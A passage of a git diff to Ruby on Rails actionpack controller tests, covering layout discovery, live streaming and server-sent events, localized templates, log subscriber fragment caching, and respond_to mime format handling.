- self.view_paths = ActionController::Base.view_paths.dup
-end
-
-# Restore view_paths to previous value
-ActionController::Base.view_paths = old_load_paths
-
-class ProductController < LayoutTest
-end
-
-class ItemController < LayoutTest
-end
-
-class ThirdPartyTemplateLibraryController < LayoutTest
-end
-
-module ControllerNameSpace
-end
-
-class ControllerNameSpace::NestedController < LayoutTest
-end
-
-class MultipleExtensions < LayoutTest
-end
-
-class LayoutAutoDiscoveryTest < ActionController::TestCase
- def setup
- super
- @request.host = "www.nextangle.com"
- end
-
- def test_application_layout_is_default_when_no_controller_match
- @controller = ProductController.new
- get :hello
- assert_equal 'layout_test.erb hello.erb', @response.body
- end
-
- def test_controller_name_layout_name_match
- @controller = ItemController.new
- get :hello
- assert_equal 'item.erb hello.erb', @response.body
- end
-
- def test_third_party_template_library_auto_discovers_layout
- @controller = ThirdPartyTemplateLibraryController.new
- get :hello
- assert_response :success
- assert_equal 'layouts/third_party_template_library.mab', @response.body
- end
-
- def test_namespaced_controllers_auto_detect_layouts1
- @controller = ControllerNameSpace::NestedController.new
- get :hello
- assert_equal 'controller_name_space/nested.erb hello.erb', @response.body
- end
-
- def test_namespaced_controllers_auto_detect_layouts2
- @controller = MultipleExtensions.new
- get :hello
- assert_equal 'multiple_extensions.html.erb hello.erb', @response.body.strip
- end
-end
-
-class DefaultLayoutController < LayoutTest
-end
-
-class StreamingLayoutController < LayoutTest
- def render(*args)
- options = args.extract_options! || {}
- super(*args, options.merge(:stream => true))
- end
-end
-
-class AbsolutePathLayoutController < LayoutTest
- layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test')
-end
-
-class HasOwnLayoutController < LayoutTest
- layout 'item'
-end
-
-class PrependsViewPathController < LayoutTest
- def hello
- prepend_view_path File.dirname(__FILE__) + '/../fixtures/layout_tests/alt/'
- render :layout => 'alt'
- end
-end
-
-class OnlyLayoutController < LayoutTest
- layout 'item', :only => "hello"
-end
-
-class ExceptLayoutController < LayoutTest
- layout 'item', :except => "goodbye"
-end
-
-class SetsLayoutInRenderController < LayoutTest
- def hello
- render :layout => 'third_party_template_library'
- end
-end
-
-class RendersNoLayoutController < LayoutTest
- def hello
- render :layout => false
- end
-end
-
-class LayoutSetInResponseTest < ActionController::TestCase
- include ActionView::Template::Handlers
-
- def test_layout_set_when_using_default_layout
- @controller = DefaultLayoutController.new
- get :hello
- assert_template :layout => "layouts/layout_test"
- end
-
- def test_layout_set_when_using_streaming_layout
- @controller = StreamingLayoutController.new
- get :hello
- assert_template :hello
- end
-
- def test_layout_set_when_set_in_controller
- @controller = HasOwnLayoutController.new
- get :hello
- assert_template :layout => "layouts/item"
- end
-
- def test_layout_only_exception_when_included
- @controller = OnlyLayoutController.new
- get :hello
- assert_template :layout => "layouts/item"
- end
-
- def test_layout_only_exception_when_excepted
- @controller = OnlyLayoutController.new
- get :goodbye
- assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
- end
-
- def test_layout_except_exception_when_included
- @controller = ExceptLayoutController.new
- get :hello
- assert_template :layout => "layouts/item"
- end
-
- def test_layout_except_exception_when_excepted
- @controller = ExceptLayoutController.new
- get :goodbye
- assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
- end
-
- def test_layout_set_when_using_render
- @controller = SetsLayoutInRenderController.new
- get :hello
- assert_template :layout => "layouts/third_party_template_library"
- end
-
- def test_layout_is_not_set_when_none_rendered
- @controller = RendersNoLayoutController.new
- get :hello
- assert_template :layout => nil
- end
-
- def test_layout_is_picked_from_the_controller_instances_view_path
- @controller = PrependsViewPathController.new
- get :hello
- assert_template :layout => /layouts\/alt/
- end
-
- def test_absolute_pathed_layout
- @controller = AbsolutePathLayoutController.new
- get :hello
- assert_equal "layout_test.erb hello.erb", @response.body.strip
- end
-end
-
-class RenderWithTemplateOptionController < LayoutTest
- def hello
- render :template => 'alt/hello'
- end
-end
-
-class SetsNonExistentLayoutFile < LayoutTest
- layout "nofile"
-end
-
-class LayoutExceptionRaisedTest < ActionController::TestCase
- def test_exception_raised_when_layout_file_not_found
- @controller = SetsNonExistentLayoutFile.new
- assert_raise(ActionView::MissingTemplate) { get :hello }
- end
-end
-
-class LayoutStatusIsRendered < LayoutTest
- def hello
- render :status => 401
- end
-end
-
-class LayoutStatusIsRenderedTest < ActionController::TestCase
- def test_layout_status_is_rendered
- @controller = LayoutStatusIsRendered.new
- get :hello
- assert_response 401
- end
-end
-
-unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
- class LayoutSymlinkedTest < LayoutTest
- layout "symlinked/symlinked_layout"
- end
-
- class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
- def test_symlinked_layout_is_rendered
- @controller = LayoutSymlinkedTest.new
- get :hello
- assert_response 200
- assert_template :layout => "layouts/symlinked/symlinked_layout"
- end
- end
-end
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
index 20e433d1ec..7fd1276e98 100644
--- a/actionpack/test/controller/live_stream_test.rb
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -1,8 +1,114 @@
require 'abstract_unit'
require 'active_support/concurrency/latch'
+Thread.abort_on_exception = true
module ActionController
+ class SSETest < ActionController::TestCase
+ class SSETestController < ActionController::Base
+ include ActionController::Live
+
+ def basic_sse
+ response.headers['Content-Type'] = 'text/event-stream'
+ sse = SSE.new(response.stream)
+ sse.write("{\"name\":\"John\"}")
+ sse.write({ name: "Ryan" })
+ ensure
+ sse.close
+ end
+
+ def sse_with_event
+ sse = SSE.new(response.stream, event: "send-name")
+ sse.write("{\"name\":\"John\"}")
+ sse.write({ name: "Ryan" })
+ ensure
+ sse.close
+ end
+
+ def sse_with_retry
+ sse = SSE.new(response.stream, retry: 1000)
+ sse.write("{\"name\":\"John\"}")
+ sse.write({ name: "Ryan" }, retry: 1500)
+ ensure
+ sse.close
+ end
+
+ def sse_with_id
+ sse = SSE.new(response.stream)
+ sse.write("{\"name\":\"John\"}", id: 1)
+ sse.write({ name: "Ryan" }, id: 2)
+ ensure
+ sse.close
+ end
+
+ def sse_with_multiple_line_message
+ sse = SSE.new(response.stream)
+ sse.write("first line.\nsecond line.")
+ ensure
+ sse.close
+ end
+ end
+
+ tests SSETestController
+
+ def wait_for_response_stream_close
+ response.body
+ end
+
+ def test_basic_sse
+ get :basic_sse
+
+ wait_for_response_stream_close
+ assert_match(/data: {\"name\":\"John\"}/, response.body)
+ assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+ end
+
+ def test_sse_with_event_name
+ get :sse_with_event
+
+ wait_for_response_stream_close
+ assert_match(/data: {\"name\":\"John\"}/, response.body)
+ assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+ assert_match(/event: send-name/, response.body)
+ end
+
+ def test_sse_with_retry
+ get :sse_with_retry
+
+ wait_for_response_stream_close
+ first_response, second_response = response.body.split("\n\n")
+ assert_match(/data: {\"name\":\"John\"}/, first_response)
+ assert_match(/retry: 1000/, first_response)
+
+ assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+ assert_match(/retry: 1500/, second_response)
+ end
+
+ def test_sse_with_id
+ get :sse_with_id
+
+ wait_for_response_stream_close
+ first_response, second_response = response.body.split("\n\n")
+ assert_match(/data: {\"name\":\"John\"}/, first_response)
+ assert_match(/id: 1/, first_response)
+
+ assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+ assert_match(/id: 2/, second_response)
+ end
+
+ def test_sse_with_multiple_line_message
+ get :sse_with_multiple_line_message
+
+ wait_for_response_stream_close
+ first_response, second_response = response.body.split("\n")
+ assert_match(/data: first line/, first_response)
+ assert_match(/data: second line/, second_response)
+ end
+ end
+
class LiveStreamTest < ActionController::TestCase
+ class Exception < StandardError
+ end
+
class TestController < ActionController::Base
include ActionController::Live
@@ -12,6 +118,12 @@ module ActionController
'test'
end
+ def set_cookie
+ cookies[:hello] = "world"
+ response.stream.write "hello world"
+ response.close
+ end
+
def render_text
render :text => 'zomg'
end
@@ -40,7 +152,7 @@ module ActionController
def thread_locals
tc.assert_equal 'aaron', Thread.current[:setting]
- tc.refute_equal Thread.current.object_id, Thread.current[:originating_thread]
+ tc.assert_not_equal Thread.current.object_id, Thread.current[:originating_thread]
response.headers['Content-Type'] = 'text/event-stream'
%w{ hello world }.each do |word|
@@ -48,18 +160,106 @@ module ActionController
end
response.stream.close
end
+
+ def with_stale
+ render text: 'stale' if stale?(etag: "123", template: false)
+ end
+
+ def exception_in_view
+ render 'doesntexist'
+ end
+
+ def exception_in_view_after_commit
+ response.stream.write ""
+ render 'doesntexist'
+ end
+
+ def exception_with_callback
+ response.headers['Content-Type'] = 'text/event-stream'
+
+ response.stream.on_error do
+ response.stream.write %(data: "500 Internal Server Error"\n\n)
+ response.stream.close
+ end
+
+ response.stream.write "" # make sure the response is committed
+ raise 'An exception occurred...'
+ end
+
+ def exception_in_controller
+ raise Exception, 'Exception in controller'
+ end
+
+ def bad_request_error
+ raise ActionController::BadRequest
+ end
+
+ def exception_in_exception_callback
+ response.headers['Content-Type'] = 'text/event-stream'
+ response.stream.on_error do
+ raise 'We need to go deeper.'
+ end
+ response.stream.write ''
+ response.stream.write params[:widget][:didnt_check_for_nil]
+ end
+
+ def overfill_buffer_and_die
+ # Write until the buffer is full. It doesn't expose that
+ # information directly, so we must hard-code its size:
+ 10.times do
+ response.stream.write '.'
+ end
+ # .. plus one more, because the #each frees up a slot:
+ response.stream.write '.'
+
+ latch.release
+
+ # This write will block, and eventually raise
+ response.stream.write 'x'
+
+ 20.times do
+ response.stream.write '.'
+ end
+ end
+
+ def ignore_client_disconnect
+ response.stream.ignore_disconnect = true
+
+ response.stream.write '' # commit
+
+ # These writes will be ignored
+ 15.times do
+ response.stream.write 'x'
+ end
+
+ logger.info 'Work complete'
+ latch.release
+ end
end
tests TestController
- class TestResponse < Live::Response
- def recycle!
- initialize
+ def assert_stream_closed
+ assert response.stream.closed?, 'stream should be closed'
+ assert response.sent?, 'stream should be sent'
+ end
+
+ def capture_log_output
+ output = StringIO.new
+ old_logger, ActionController::Base.logger = ActionController::Base.logger, ActiveSupport::Logger.new(output)
+
+ begin
+ yield output
+ ensure
+ ActionController::Base.logger = old_logger
end
end
- def build_response
- TestResponse.new
+ def test_set_cookie
+ @controller = TestController.new
+ get :set_cookie
+ assert_equal({'hello' => 'world'}, @response.cookies)
+ assert_equal "hello world", @response.body
end
def test_set_response!
@@ -83,6 +283,7 @@ module ActionController
@controller.response = @response
t = Thread.new(@response) { |resp|
+ resp.await_commit
resp.stream.each do |part|
assert_equal parts.shift, part
ol = @controller.latch
@@ -93,7 +294,63 @@ module ActionController
@controller.process :blocking_stream
- assert t.join
+ assert t.join(3), 'timeout expired before the thread terminated'
+ end
+
+ def test_abort_with_full_buffer
+ @controller.latch = ActiveSupport::Concurrency::Latch.new
+
+ @request.parameters[:format] = 'plain'
+ @controller.request = @request
+ @controller.response = @response
+
+ got_error = ActiveSupport::Concurrency::Latch.new
+ @response.stream.on_error do
+ ActionController::Base.logger.warn 'Error while streaming'
+ got_error.release
+ end
+
+ t = Thread.new(@response) { |resp|
+ resp.await_commit
+ _, _, body = resp.to_a
+ body.each do |part|
+ @controller.latch.await
+ body.close
+ break
+ end
+ }
+
+ capture_log_output do |output|
+ @controller.process :overfill_buffer_and_die
+ t.join
+ got_error.await
+ assert_match 'Error while streaming', output.rewind && output.read
+ end
+ end
+
+ def test_ignore_client_disconnect
+ @controller.latch = ActiveSupport::Concurrency::Latch.new
+
+ @controller.request = @request
+ @controller.response = @response
+
+ t = Thread.new(@response) { |resp|
+ resp.await_commit
+ _, _, body = resp.to_a
+ body.each do |part|
+ body.close
+ break
+ end
+ }
+
+ capture_log_output do |output|
+ @controller.process :ignore_client_disconnect
+ t.join
+ Timeout.timeout(3) do
+ @controller.latch.await
+ end
+ assert_match 'Work complete', output.rewind && output.read
+ end
end
def test_thread_locals_get_copied
@@ -115,7 +372,83 @@ module ActionController
def test_render_text
get :render_text
assert_equal 'zomg', response.body
- assert response.stream.closed?, 'stream should be closed'
+ assert_stream_closed
+ end
+
+ def test_exception_handling_html
+ assert_raises(ActionView::MissingTemplate) do
+ get :exception_in_view
+ end
+
+ capture_log_output do |output|
+ get :exception_in_view_after_commit
+ assert_match %r((window\.location = "/500\.html"</script></html>)$), response.body
+ assert_match 'Missing template test/doesntexist', output.rewind && output.read
+ assert_stream_closed
+ end
+ assert response.body
+ assert_stream_closed
+ end
+
+ def test_exception_handling_plain_text
+ assert_raises(ActionView::MissingTemplate) do
+ get :exception_in_view, format: :json
+ end
+
+ capture_log_output do |output|
+ get :exception_in_view_after_commit, format: :json
+ assert_equal '', response.body
+ assert_match 'Missing template test/doesntexist', output.rewind && output.read
+ assert_stream_closed
+ end
+ end
+
+ def test_exception_callback_when_committed
+ capture_log_output do |output|
+ get :exception_with_callback, format: 'text/event-stream'
+ assert_equal %(data: "500 Internal Server Error"\n\n), response.body
+ assert_match 'An exception occurred...', output.rewind && output.read
+ assert_stream_closed
+ end
+ end
+
+ def test_exception_in_controller_before_streaming
+ assert_raises(ActionController::LiveStreamTest::Exception) do
+ get :exception_in_controller, format: 'text/event-stream'
+ end
+ end
+
+ def test_bad_request_in_controller_before_streaming
+ assert_raises(ActionController::BadRequest) do
+ get :bad_request_error, format: 'text/event-stream'
+ end
+ end
+
+ def test_exceptions_raised_handling_exceptions_and_committed
+ capture_log_output do |output|
+ get :exception_in_exception_callback, format: 'text/event-stream'
+ assert_equal '', response.body
+ assert_match 'We need to go deeper', output.rewind && output.read
+ assert_stream_closed
+ end
+ end
+
+ def test_stale_without_etag
+ get :with_stale
+ assert_equal 200, @response.status.to_i
+ end
+
+ def test_stale_with_etag
+ @request.if_none_match = Digest::MD5.hexdigest("123")
+ get :with_stale
+ assert_equal 304, @response.status.to_i
+ end
+ end
+
+ class BufferTest < ActionController::TestCase
+ def test_nil_callback
+ buf = ActionController::Live::Buffer.new nil
+ assert buf.call_on_error
end
end
end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
index 41ff2f3809..27871ef351 100644
--- a/actionpack/test/controller/localized_templates_test.rb
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -8,6 +8,14 @@ end
class LocalizedTemplatesTest < ActionController::TestCase
tests LocalizedController
+ setup do
+ @old_locale = I18n.locale
+ end
+
+ teardown do
+ I18n.locale = @old_locale
+ end
+
def test_localized_template_is_used
I18n.locale = :de
get :hello_world
@@ -19,4 +27,20 @@ class LocalizedTemplatesTest < ActionController::TestCase
get :hello_world
assert_equal "Hello World", @response.body
end
-end \ No newline at end of file
+
+ def test_use_fallback_locales
+ I18n.locale = :"de-AT"
+ I18n.backend.class.send(:include, I18n::Backend::Fallbacks)
+ I18n.fallbacks[:"de-AT"] = [:de]
+
+ get :hello_world
+ assert_equal "Gutten Tag", @response.body
+ end
+
+ def test_localized_template_has_correct_header_with_no_format_in_template_name
+ I18n.locale = :it
+ get :hello_world
+ assert_equal "Ciao Mondo", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index 929545fc10..49be7caf38 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -46,20 +46,20 @@ module Another
render :inline => "<%= cache('foo%bar'){ 'Contains % sign in key' } %>"
end
- def with_fragment_cache_and_if_true_condition
- render :inline => "<%= cache('foo', :if => true) { 'bar' } %>"
+ def with_fragment_cache_if_with_true_condition
+ render :inline => "<%= cache_if(true, 'foo') { 'bar' } %>"
end
- def with_fragment_cache_and_if_false_condition
- render :inline => "<%= cache('foo', :if => false) { 'bar' } %>"
+ def with_fragment_cache_if_with_false_condition
+ render :inline => "<%= cache_if(false, 'foo') { 'bar' } %>"
end
- def with_fragment_cache_and_unless_false_condition
- render :inline => "<%= cache('foo', :unless => false) { 'bar' } %>"
+ def with_fragment_cache_unless_with_false_condition
+ render :inline => "<%= cache_unless(false, 'foo') { 'bar' } %>"
end
- def with_fragment_cache_and_unless_true_condition
- render :inline => "<%= cache('foo', :unless => true) { 'bar' } %>"
+ def with_fragment_cache_unless_with_true_condition
+ render :inline => "<%= cache_unless(true, 'foo') { 'bar' } %>"
end
def with_exception
@@ -85,7 +85,7 @@ class ACLogSubscriberTest < ActionController::TestCase
@old_logger = ActionController::Base.logger
- @cache_path = File.expand_path('../temp/test_cache', File.dirname(__FILE__))
+ @cache_path = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname('tmp', 'cache')
@controller.cache_store = :file_store, @cache_path
ActionController::LogSubscriber.attach_to :action_controller
end
@@ -137,6 +137,17 @@ class ACLogSubscriberTest < ActionController::TestCase
assert_equal 'Parameters: {"id"=>"10"}', logs[1]
end
+ def test_multiple_process_with_parameters
+ get :show, :id => '10'
+ get :show, :id => '20'
+
+ wait
+
+ assert_equal 6, logs.size
+ assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+ assert_equal 'Parameters: {"id"=>"20"}', logs[4]
+ end
+
def test_process_action_with_wrapped_parameters
@request.env['CONTENT_TYPE'] = 'application/json'
post :show, :id => '10', :name => 'jose'
@@ -219,9 +230,9 @@ class ACLogSubscriberTest < ActionController::TestCase
@controller.config.perform_caching = true
end
- def test_with_fragment_cache_and_if_true
+ def test_with_fragment_cache_if_with_true
@controller.config.perform_caching = true
- get :with_fragment_cache_and_if_true_condition
+ get :with_fragment_cache_if_with_true_condition
wait
assert_equal 4, logs.size
@@ -231,9 +242,9 @@ class ACLogSubscriberTest < ActionController::TestCase
@controller.config.perform_caching = true
end
- def test_with_fragment_cache_and_if_false
+ def test_with_fragment_cache_if_with_false
@controller.config.perform_caching = true
- get :with_fragment_cache_and_if_false_condition
+ get :with_fragment_cache_if_with_false_condition
wait
assert_equal 2, logs.size
@@ -243,9 +254,9 @@ class ACLogSubscriberTest < ActionController::TestCase
@controller.config.perform_caching = true
end
- def test_with_fragment_cache_and_unless_true
+ def test_with_fragment_cache_unless_with_true
@controller.config.perform_caching = true
- get :with_fragment_cache_and_unless_true_condition
+ get :with_fragment_cache_unless_with_true_condition
wait
assert_equal 2, logs.size
@@ -255,9 +266,9 @@ class ACLogSubscriberTest < ActionController::TestCase
@controller.config.perform_caching = true
end
- def test_with_fragment_cache_and_unless_false
+ def test_with_fragment_cache_unless_with_false
@controller.config.perform_caching = true
- get :with_fragment_cache_and_unless_false_condition
+ get :with_fragment_cache_unless_with_false_condition
wait
assert_equal 4, logs.size
diff --git a/actionpack/test/controller/mime/accept_format_test.rb b/actionpack/test/controller/mime/accept_format_test.rb
new file mode 100644
index 0000000000..811c507af2
--- /dev/null
+++ b/actionpack/test/controller/mime/accept_format_test.rb
@@ -0,0 +1,92 @@
+require 'abstract_unit'
+
+class StarStarMimeController < ActionController::Base
+ layout nil
+
+ def index
+ render
+ end
+end
+
+class StarStarMimeControllerTest < ActionController::TestCase
+ def test_javascript_with_format
+ @request.accept = "text/javascript"
+ get :index, :format => 'js'
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+
+ def test_javascript_with_no_format
+ @request.accept = "text/javascript"
+ get :index
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+
+ def test_javascript_with_no_format_only_star_star
+ @request.accept = "*/*"
+ get :index
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+end
+
+class AbstractPostController < ActionController::Base
+ self.view_paths = File.dirname(__FILE__) + "/../../fixtures/post_test/"
+end
+
+# For testing layouts which are set automatically
+class PostController < AbstractPostController
+ around_action :with_iphone
+
+ def index
+ respond_to(:html, :iphone, :js)
+ end
+
+protected
+
+ def with_iphone
+ request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+ yield
+ end
+end
+
+class SuperPostController < PostController
+end
+
+class MimeControllerLayoutsTest < ActionController::TestCase
+ tests PostController
+
+ def setup
+ super
+ @request.host = "www.example.com"
+ Mime::Type.register_alias("text/html", :iphone)
+ end
+
+ def teardown
+ super
+ Mime::Type.unregister(:iphone)
+ end
+
+ def test_missing_layout_renders_properly
+ get :index
+ assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
+
+ @request.accept = "text/iphone"
+ get :index
+ assert_equal 'Hello iPhone', @response.body
+ end
+
+ def test_format_with_inherited_layouts
+ @controller = SuperPostController.new
+
+ get :index
+ assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
+
+ @request.accept = "text/iphone"
+ get :index
+ assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
+ end
+
+ def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
+ get :index, :format => :js
+ assert_equal "Hello Firefox", @response.body
+ end
+end
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
new file mode 100644
index 0000000000..66d2fd7716
--- /dev/null
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -0,0 +1,784 @@
+require 'abstract_unit'
+
+class RespondToController < ActionController::Base
+ layout :set_layout
+
+ def html_xml_or_rss
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ type.rss { render :text => "RSS" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def js_or_html
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.js { render :text => "JS" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def json_or_yaml
+ respond_to do |type|
+ type.json { render :text => "JSON" }
+ type.yaml { render :text => "YAML" }
+ end
+ end
+
+ def html_or_xml
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def json_xml_or_html
+ respond_to do |type|
+ type.json { render :text => 'JSON' }
+ type.xml { render :xml => 'XML' }
+ type.html { render :text => 'HTML' }
+ end
+ end
+
+
+ def forced_xml
+ request.format = :xml
+
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ end
+ end
+
+ def just_xml
+ respond_to do |type|
+ type.xml { render :text => "XML" }
+ end
+ end
+
+ def using_defaults
+ respond_to do |type|
+ type.html
+ type.xml
+ end
+ end
+
+ def using_defaults_with_type_list
+ respond_to(:html, :xml)
+ end
+
+ def using_defaults_with_all
+ respond_to do |type|
+ type.html
+ type.all{ render text: "ALL" }
+ end
+ end
+
+ def made_for_content_type
+ respond_to do |type|
+ type.rss { render :text => "RSS" }
+ type.atom { render :text => "ATOM" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def custom_type_handling
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.custom("application/crazy-xml") { render :text => "Crazy XML" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+
+ def custom_constant_handling
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.mobile { render :text => "Mobile" }
+ end
+ end
+
+ def custom_constant_handling_without_block
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.mobile
+ end
+ end
+
+ def handle_any
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.any(:js, :xml) { render :text => "Either JS or XML" }
+ end
+ end
+
+ def handle_any_any
+ respond_to do |type|
+ type.html { render :text => 'HTML' }
+ type.any { render :text => 'Whatever you ask for, I got it' }
+ end
+ end
+
+ def all_types_with_layout
+ respond_to do |type|
+ type.html
+ end
+ end
+
+ def json_with_callback
+ respond_to do |type|
+ type.json { render :json => 'JS', :callback => 'alert' }
+ end
+ end
+
+ def iphone_with_html_response_type
+ request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+ respond_to do |type|
+ type.html { @type = "Firefox" }
+ type.iphone { @type = "iPhone" }
+ end
+ end
+
+ def iphone_with_html_response_type_without_layout
+ request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+ respond_to do |type|
+ type.html { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
+ type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
+ end
+ end
+
+ def variant_with_implicit_rendering
+ end
+
+ def variant_with_format_and_custom_render
+ request.variant = :mobile
+
+ respond_to do |type|
+ type.html { render text: "mobile" }
+ end
+ end
+
+ def multiple_variants_for_format
+ respond_to do |type|
+ type.html do |html|
+ html.tablet { render text: "tablet" }
+ html.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_plus_none_for_format
+ respond_to do |format|
+ format.html do |variant|
+ variant.phone { render text: "phone" }
+ variant.none
+ end
+ end
+ end
+
+ def variant_inline_syntax
+ respond_to do |format|
+ format.js { render text: "js" }
+ format.html.none { render text: "none" }
+ format.html.phone { render text: "phone" }
+ end
+ end
+
+ def variant_inline_syntax_without_block
+ respond_to do |format|
+ format.js
+ format.html.none
+ format.html.phone
+ end
+ end
+
+ def variant_any
+ respond_to do |format|
+ format.html do |variant|
+ variant.any(:tablet, :phablet){ render text: "any" }
+ variant.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_any_any
+ respond_to do |format|
+ format.html do |variant|
+ variant.any { render text: "any" }
+ variant.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_inline_any
+ respond_to do |format|
+ format.html.any(:tablet, :phablet){ render text: "any" }
+ format.html.phone { render text: "phone" }
+ end
+ end
+
+ def variant_inline_any_any
+ respond_to do |format|
+ format.html.phone { render text: "phone" }
+ format.html.any { render text: "any" }
+ end
+ end
+
+ def variant_any_implicit_render
+ respond_to do |format|
+ format.html.phone
+ format.html.any(:tablet, :phablet)
+ end
+ end
+
+ def variant_any_with_none
+ respond_to do |format|
+ format.html.any(:none, :phone){ render text: "none or phone" }
+ end
+ end
+
+ def format_any_variant_any
+ respond_to do |format|
+ format.html { render text: "HTML" }
+ format.any(:js, :xml) do |variant|
+ variant.phone{ render text: "phone" }
+ variant.any(:tablet, :phablet){ render text: "tablet" }
+ end
+ end
+ end
+
+ protected
+ def set_layout
+ case action_name
+ when "all_types_with_layout", "iphone_with_html_response_type"
+ "respond_to/layouts/standard"
+ when "iphone_with_html_response_type_without_layout"
+ "respond_to/layouts/missing"
+ end
+ end
+end
+
+class RespondToControllerTest < ActionController::TestCase
+ def setup
+ super
+ @request.host = "www.example.com"
+ Mime::Type.register_alias("text/html", :iphone)
+ Mime::Type.register("text/x-mobile", :mobile)
+ end
+
+ def teardown
+ super
+ Mime::Type.unregister(:iphone)
+ Mime::Type.unregister(:mobile)
+ end
+
+ def test_html
+ @request.accept = "text/html"
+ get :js_or_html
+ assert_equal 'HTML', @response.body
+
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ assert_raises(ActionController::UnknownFormat) do
+ get :just_xml
+ end
+ end
+
+ def test_all
+ @request.accept = "*/*"
+ get :js_or_html
+ assert_equal 'HTML', @response.body # js is not part of all
+
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ get :just_xml
+ assert_equal 'XML', @response.body
+ end
+
+ def test_xml
+ @request.accept = "application/xml"
+ get :html_xml_or_rss
+ assert_equal 'XML', @response.body
+ end
+
+ def test_js_or_html
+ @request.accept = "text/javascript, text/html"
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+
+ @request.accept = "text/javascript, text/html"
+ xhr :get, :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "text/javascript, text/html"
+
+ assert_raises(ActionController::UnknownFormat) do
+ xhr :get, :just_xml
+ end
+ end
+
+ def test_json_or_yaml_with_leading_star_star
+ @request.accept = "*/*, application/json"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "*/* , application/json"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_json_or_yaml
+ xhr :get, :json_or_yaml
+ assert_equal 'JSON', @response.body
+
+ get :json_or_yaml, :format => 'json'
+ assert_equal 'JSON', @response.body
+
+ get :json_or_yaml, :format => 'yaml'
+ assert_equal 'YAML', @response.body
+
+ { 'YAML' => %w(text/yaml),
+ 'JSON' => %w(application/json text/x-json)
+ }.each do |body, content_types|
+ content_types.each do |content_type|
+ @request.accept = content_type
+ get :json_or_yaml
+ assert_equal body, @response.body
+ end
+ end
+ end
+
+ def test_js_or_anything
+ @request.accept = "text/javascript, */*"
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+
+ xhr :get, :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ xhr :get, :just_xml
+ assert_equal 'XML', @response.body
+ end
+
+ def test_using_defaults
+ @request.accept = "*/*"
+ get :using_defaults
+ assert_equal "text/html", @response.content_type
+ assert_equal 'Hello world!', @response.body
+
+ @request.accept = "application/xml"
+ get :using_defaults
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<p>Hello world!</p>\n", @response.body
+ end
+
+ def test_using_defaults_with_all
+ @request.accept = "*/*"
+ get :using_defaults_with_all
+ assert_equal "HTML!", @response.body.strip
+
+ @request.accept = "text/html"
+ get :using_defaults_with_all
+ assert_equal "HTML!", @response.body.strip
+
+ @request.accept = "application/json"
+ get :using_defaults_with_all
+ assert_equal "ALL", @response.body
+ end
+
+ def test_using_defaults_with_type_list
+ @request.accept = "*/*"
+ get :using_defaults_with_type_list
+ assert_equal "text/html", @response.content_type
+ assert_equal 'Hello world!', @response.body
+
+ @request.accept = "application/xml"
+ get :using_defaults_with_type_list
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<p>Hello world!</p>\n", @response.body
+ end
+
+ def test_with_atom_content_type
+ @request.accept = ""
+ @request.env["CONTENT_TYPE"] = "application/atom+xml"
+ xhr :get, :made_for_content_type
+ assert_equal "ATOM", @response.body
+ end
+
